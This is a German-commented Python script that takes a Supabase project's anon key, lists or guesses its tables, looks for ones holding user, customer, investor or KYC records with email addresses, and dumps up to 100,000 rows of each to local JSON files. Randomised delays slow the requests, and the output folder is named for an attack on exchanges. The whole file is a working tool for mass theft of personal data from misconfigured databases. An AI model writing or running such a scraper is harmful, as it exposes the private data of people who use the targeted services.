#!/usr/bin/env python3
# Deep-Dive Supabase: OpenAPI -> Tabellen -> Kunden-Tabellen pruefen -> vollstaendig dumpen (dosiert)
# Aufruf: python3 deep_supabase.py <ref> <anonkey> <label> [outdir]
import json, time, random, re, sys, os, urllib.request as ur, urllib.error

REF = sys.argv[1]
KEY = sys.argv[2]
LABEL = sys.argv[3]
OUTDIR = sys.argv[4] if len(sys.argv) > 4 else "/home/marcel7364/investoren-daten/forex/boersen_angriff/supa_dumps"
os.makedirs(OUTDIR, exist_ok=True)
URL = f"https://{REF}.supabase.co"
H = {"apikey": KEY, "Authorization": "Bearer " + KEY, "Accept": "application/json"}

def req(url, n=300000, timeout=25, prefer=None):
    h = dict(H)
    if prefer: h["Prefer"] = prefer
    try:
        with ur.urlopen(ur.Request(url, headers=h), timeout=timeout) as r:
            return {"status": r.status, "body": r.read(n).decode("utf-8", "replace"), "range": r.headers.get("Content-Range", "")}
    except urllib.error.HTTPError as e:
        try: b = e.read(2000).decode("utf-8", "replace")
        except Exception: b = ""
        return {"status": e.code, "body": b, "range": e.headers.get("Content-Range", "") if hasattr(e, 'headers') else ""}
    except Exception as e:
        return {"status": -1, "body": f"ERR {type(e).__name__}", "range": ""}

report = {"ref": REF, "label": LABEL, "tables": {}, "dumps": {}}

# 1) OpenAPI
r = req(URL + "/rest/v1/")
if r["status"] != 200:
    print("OPENAPI FAIL", r["status"], r["body"][:200])
    # Fallback: bekannte Tabellennamen durchraten (neue Publishable-Keys koennen kein OpenAPI)
    guess = ["users", "user", "profiles", "profile", "customers", "clients", "members", "accounts",
             "subscribers", "waitlist", "contacts", "leads", "people", "kyc", "newsletter",
             "user_stats", "persons", "traders", "investors", "players", "registrations", "bookings"]
    tables = []
    for t in guess:
        rr = req(f"{URL}/rest/v1/{t}?select=*&limit=1")
        if rr["status"] == 200:
            tables.append(t)
        else:
            m = re.search(r"Perhaps you meant the table 'public\.([a-z_]+)'", rr["body"])
            if m and m.group(1) not in tables:
                tables.append(m.group(1))
        time.sleep(random.uniform(0.5, 1.0))
    print("FALLBACK-Tabellen:", tables, flush=True)
else:
    try:
        spec = json.loads(r["body"])
    except Exception:
        print("OPENAPI NOT JSON"); sys.exit(1)
    tables = [p.strip('/') for p in spec.get("paths", {}).keys() if not p.strip('/').startswith('rpc')]
    print(f"OPENAPI OK, {len(tables)} Tabellen: {tables[:40]}", flush=True)
report["all_tables"] = tables

USER_RE = re.compile(r'(user|customer|client|member|subscriber|profile|kyc|people|person|contact|lead|trader|investor|account|newsletter|waitlist|registration|player|kunde|benutzer|teilnehmer)', re.I)

def row_emails(rows):
    ems = 0
    for row in (rows if isinstance(rows, list) else [rows])[:50]:
        if isinstance(row, dict):
            for k, v in row.items():
                if isinstance(v, str) and re.match(r'^[\w.+-]+@[\w-]+\.[\w.-]+$', v):
                    ems += 1; break
    return ems

# 2) Kandidaten-Tabellen
cands = [t for t in tables if USER_RE.search(t)]
print("Kandidaten:", cands, flush=True)
interesting = []
for t in cands[:40]:
    r = req(f"{URL}/rest/v1/{t}?select=*&limit=3")
    ok = r["status"] == 200
    rows = None
    if ok:
        try: rows = json.loads(r["body"])
        except Exception: rows = None
    n_emails = row_emails(rows) if isinstance(rows, list) else 0
    report["tables"][t] = {"status": r["status"], "n": len(rows) if isinstance(rows, list) else -1, "emails": n_emails}
    if ok and isinstance(rows, list) and rows and n_emails > 0:
        interesting.append(t)
        print(f"  PIIFUND: {t} ({n_emails} Mails in 3 Zeilen)", flush=True)
    time.sleep(random.uniform(0.8, 1.5))

# 3) Vollausschüttung der PII-Tabellen
for t in interesting:
    r = req(f"{URL}/rest/v1/{t}?select=*&limit=1", prefer="count=exact")
    m = re.match(r'(\d+)', r["range"] or "")
    total = int(m.group(1)) if m else None
    print(f"DUMP {t} total={total}", flush=True)
    out_rows = []
    off = 0
    while True:
        rr = req(f"{URL}/rest/v1/{t}?select=*&order=offset&limit=1000&offset={off}")
        if rr["status"] != 200: break
        try: page = json.loads(rr["body"])
        except Exception: break
        if not page: break
        out_rows.extend(page)
        off += len(page)
        if total and off >= total: break
        if not total and len(page) < 1000: break
        if len(out_rows) >= 100000: break
        time.sleep(random.uniform(1.2, 2.0))
    json.dump(out_rows, open(f"{OUTDIR}/{LABEL}__{t}.json", "w"), ensure_ascii=False)
    report["dumps"][t] = len(out_rows)
    print(f"  gespeichert {len(out_rows)} Zeilen -> {LABEL}__{t}.json", flush=True)
    time.sleep(random.uniform(1.5, 2.5))

json.dump(report, open(f"{OUTDIR}/{LABEL}_report.json", "w"), indent=1, ensure_ascii=False)
print("FERTIG", LABEL, flush=True)
